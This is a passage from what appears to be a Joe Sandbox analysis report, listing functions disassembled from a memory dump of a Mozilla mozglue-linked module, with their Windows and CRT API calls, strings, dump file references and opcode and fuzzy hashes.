Sleep.KERNEL32(000007D0), ref: 6C9D4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D4F2E
moz_xmalloc.MOZGLUE ref: 6C9D4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C9D4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D52E6
Sleep.KERNEL32(00000010), ref: 6C9D5481
free.MOZGLUE(?), ref: 6C9D5498

Strings

(, xrefs: 6C9D5250

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 60324677ef602c73a0ebbb33863e8e742a76c500ceb584063dd9ba4e7cd8103d
Instruction ID: 5de135ba265760bd3f9a0ebfdb993308645f09905f2eaaaae6e7a7ea039b353e
Opcode Fuzzy Hash: 60324677ef602c73a0ebbb33863e8e742a76c500ceb584063dd9ba4e7cd8103d
Instruction Fuzzy Hash: 7BF1C171A18B408FC717CF39885062BB7F9AFE6284F15872EF856A7650DB31D846CB81

Function 6C987810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE744), ref: 6C987885
LeaveCriticalSection.KERNEL32(6C9FE744), ref: 6C9878A5
EnterCriticalSection.KERNEL32(6C9FE784), ref: 6C9878AD
LeaveCriticalSection.KERNEL32(6C9FE784), ref: 6C9878CD
EnterCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9878D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9878E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C98795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9879BB
LeaveCriticalSection.KERNEL32(?), ref: 6C987BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C987C82
LeaveCriticalSection.KERNEL32(6C9FE7DC), ref: 6C987CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C987DAF

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: cad23b673b7fee3db45f21c9aef3ace277535d62458d7a2f6f555d2ee2d2fcce
Instruction ID: 935abbb12bbe84eea6928bb39135f26f11e056c833465666803a94b3d17f742c
Opcode Fuzzy Hash: cad23b673b7fee3db45f21c9aef3ace277535d62458d7a2f6f555d2ee2d2fcce
Instruction Fuzzy Hash: E2028131A05219CFDB54CF19C984799B7B5FF88318F2986AAE819A7711D730EE91CF80

Function 6C9D5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9D6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9D6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C97EE51,?), ref: 6C9D6046
OutputDebugStringA.KERNEL32(?,6C97EE51,?), ref: 6C9D6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9D6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9D6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9D6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9F148E), ref: 6C9D6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C97EE51,00000000,?), ref: 6C9D60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9D60C4

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: cfcd83041465c77de435e1ecbff27403596349978b595ca9fdeae43978170675
Instruction ID: d3a7f688efa435e1d351bb5e34ea291d14ffcb330afa97d9442a7cf304d22f95
Opcode Fuzzy Hash: cfcd83041465c77de435e1ecbff27403596349978b595ca9fdeae43978170675
Instruction Fuzzy Hash: 5B21E5B1A002089FDF106F25EC08A9E7BBCFF45218F108428E86AA7240CB34E659CFD1

Function 6C9D7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C9D7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C9D7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9D707E

Part of subcall function 6C9881B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9881DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9D7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9D709C
LocalFree.KERNEL32(?), ref: 6C9D70AA

Strings

(null), xrefs: 6C9D706A, 6C9D7083
### ERROR: %s: %s, xrefs: 6C9D7087

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 5b39a7de2710716893b6006aab6248efd6ea1d13c0f73d79d3b71a4da35160e8
Instruction ID: 7b770b83111015972b51bc40b58f514c758641d01ae48a410c359b99996104d7
Opcode Fuzzy Hash: 5b39a7de2710716893b6006aab6248efd6ea1d13c0f73d79d3b71a4da35160e8
Instruction Fuzzy Hash: 6701DDB1A04108BFDB046FA4EC4ADAF7BBCEF49255F150435FA15E3241EA71A914CBE1

Function 6C999E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C999EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C999F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C999F34
LeaveCriticalSection.KERNEL32(?), ref: 6C99A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C99A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C99A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C99A8B1, 6C99A8D4, 6C99A8EF

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 9e5c94d1f6a02a8c0d14d8b4b30e8c76df737f4cad2839ae8ebb7bc290f6ce90
Instruction ID: 69ca7e4e79cd4a341389cb88dfb59402e51f0ea6965921ca26b72093fefdbb6d
Opcode Fuzzy Hash: 9e5c94d1f6a02a8c0d14d8b4b30e8c76df737f4cad2839ae8ebb7bc290f6ce90
Instruction Fuzzy Hash: D8727A72E056118FD314CF29C540215FBE5FF89328B2EC6ADE8699B791DB35E841CB81

Function 6C9C2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9C2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9C2C61

Part of subcall function 6C974DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C974E5A
Part of subcall function 6C974DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C974E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9C2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9C2E2D

Part of subcall function 6C9881B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9881DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C9C2E3B
expected a Time entry, xrefs: 6C9C2E36
(root), xrefs: 6C9C354F

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: b4e14fb4577b83a9adc3f23fd28114c57ad02fd4cf39307c2c127b5394ec18c7
Instruction ID: 2c03f5f22c86f92878916e7a8afef1dfde98ef5ba92554c581aa58ef93a9bff8
Opcode Fuzzy Hash: b4e14fb4577b83a9adc3f23fd28114c57ad02fd4cf39307c2c127b5394ec18c7
Instruction Fuzzy Hash: 9191ACB0608B808FC724CF24C49469EB7E5AFE9358F10491DE59A9B791DB30D949CB53

Function 6C99C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C99D4BB
0123456789abcdef, xrefs: 6C99C317

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: d998e72e452ed7b2ee754be8f4776ed06e07329b4998b413759d77c8df64d6ed
Instruction ID: fedd28f3625fb1f61b516e1e00bc2ac071e91b93290fb99d03eab660d2b472e2
Opcode Fuzzy Hash: d998e72e452ed7b2ee754be8f4776ed06e07329b4998b413759d77c8df64d6ed
Instruction Fuzzy Hash: 7852C3716093418FD724CF28C89076AB7F6FB8A318F28891DD9E687B91D735D846CB42

Function 6C9D9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C9D9F3D
__aulldiv.LIBCMT ref: 6C9D9F77
__aullrem.LIBCMT ref: 6C9D9F8C
__aulldiv.LIBCMT ref: 6C9DA023

Strings

NaN, xrefs: 6C9D9EAB
-Infinity, xrefs: 6C9D9E60, 6C9D9E7B

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 8834d8ae260f90e73c84e1e887fac76ffe252ffc6d91cac2dc2adef8ecb9d428
Instruction ID: 0432cb498bcf20187e373678a525bb2434485bee6388d58dedb2953bcff51d5b
Opcode Fuzzy Hash: 8834d8ae260f90e73c84e1e887fac76ffe252ffc6d91cac2dc2adef8ecb9d428
Instruction Fuzzy Hash: 6BC1BF31E00719CBDB14CFA8C8907AEB7B6BB95314F168529D405BBB80DB71ED49CB91

Function 6C97D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

1, xrefs: 6C97DBDD
8, xrefs: 6C97DC08
0, xrefs: 6C97DC7F
, xrefs: 6C97DA88
0, xrefs: 6C97D852
9, xrefs: 6C97DE7F
-, xrefs: 6C97D7DD
@, xrefs: 6C97DAF6

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: bc445581b33ce217210782c50fe0e09514df44c5561c64a5dd82ba4c49593ab9
Instruction ID: 95492da4578668f92605e8f1a885447fda78687e7650af457922b94d4a70a32a
Opcode Fuzzy Hash: bc445581b33ce217210782c50fe0e09514df44c5561c64a5dd82ba4c49593ab9
Instruction Fuzzy Hash: 7B62DE7260E3858FD721CF18C09076ABBF6AF86318F184A4DE4D54BB91D335D985CBA2

Function 6C989F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

@, xrefs: 6C98A625
' , xrefs: 6C98A3D8
1, xrefs: 6C98A824
0, xrefs: 6C98AB22
9, xrefs: 6C98A5D6
0, xrefs: 6C98A100

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 7e9e26d107515f27b5f34bb327c4b3810c254b75b066a05ef06635a6f53cb756
Instruction ID: 8e4a28c7add941056b3ceeca6ffe85be7b5dab719c3cb0db37693d8171b669e5
Opcode Fuzzy Hash: 7e9e26d107515f27b5f34bb327c4b3810c254b75b066a05ef06635a6f53cb756
Instruction Fuzzy Hash: 6A82D03190B3118BD711CF19C48026EB7E6EB85718F558E2EE9D547ED0DB39E886CB82

Function 6C97BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C97C1CB
__aulldiv.LIBCMT ref: 6C97C24C
__aulldiv.LIBCMT ref: 6C97C348
__aullrem.LIBCMT ref: 6C97C365
__aulldiv.LIBCMT ref: 6C97C37D

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: afddc368e3beafbb672064fb84e64b12dea8a74d88f925ce18cf965c08fb1ebf
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 75321432B056129FCB18DE2CC890666BBE6AFD9310F09867DE895CB395D730ED05CB91

Function 6C9E545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9E8A4B

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 0f54d901c1828ca8d55d3362d71ee8b69df1917757486dd1ae5a640b459d9a38
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 85B1D772A0021ACFDB15CF68CC907E9B7B6EFA9314F1902A9C549DB791E730D985CB90

Function 6C9E542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9E88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9E925C

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: faa7d6d1f069d4b820c8269f46dde8780aefd84ceb15e1269bd44b8289cb7d8b
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: F3B1C772E0011ACBDB15CF58C8816EDB7B6EFA9314F190269C949DB785E730E989CB90

Function 6C9E50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9E8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9E925C

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 86b87fdcde85ca7ee11cf78d30ddf5cdd76c4217636b5542138c4fdfe2906704
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 09A1D772A001178BDB15CE58CC807E9B7B6AFA9314F1902B9C949DB785E730E999CB90

Function 6C9C77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9C7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9C7A93

Part of subcall function 6C995C50: GetTickCount64.KERNEL32 ref: 6C995D40
Part of subcall function 6C995C50: EnterCriticalSection.KERNEL32(6C9FF688), ref: 6C995D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9C7AA1

Part of subcall function 6C995C50: __aulldiv.LIBCMT ref: 6C995DB4
Part of subcall function 6C995C50: LeaveCriticalSection.KERNEL32(6C9FF688), ref: 6C995DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C9C7B31

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 50ca2a9cf54f2d66d539e2f84fca16ac511fb7042ec93d4f61c6f784e76a4d18
Instruction ID: 28a24938baab57961acfe48bd750ac28de400247176706e5da626ead77733e43
Opcode Fuzzy Hash: 50ca2a9cf54f2d66d539e2f84fca16ac511fb7042ec93d4f61c6f784e76a4d18
Instruction Fuzzy Hash: FBB16D357087808BCB14CE24C4906AFB7E2BFD9718F154A1CE99567B91DB70E90ACB83

Function 6C9B6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C9B6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9B6E1E

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 00a1a75021d96f7f873547c187aa9244019cf69dc4cc5a55c191fb1269b2da63
Instruction ID: 363bad5e3347d7bff1d3b01f9f18a7220a1351717426fcb81944a0502025e24a
Opcode Fuzzy Hash: 00a1a75021d96f7f873547c187aa9244019cf69dc4cc5a55c191fb1269b2da63
Instruction Fuzzy Hash: 0FA17B706183819FD718CF24C4907ABBBE6BFA8308F04491DE48A97751DB70F859CB92

Function 6C9DB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C9DB720
RtlNtStatusToDosError.NTDLL ref: 6C9DB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C9AFE3F,00000000,00000000,?,?,00000000,?,6C9AFE3F), ref: 6C9DB760

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 25a04d4d22d39012b329c3974842a862c277848e7c96264024977a636606b6fc
Instruction ID: fdea0d060bf1f960e449e24921abb9307e5fd5853e1f6b90073a73252e424d55
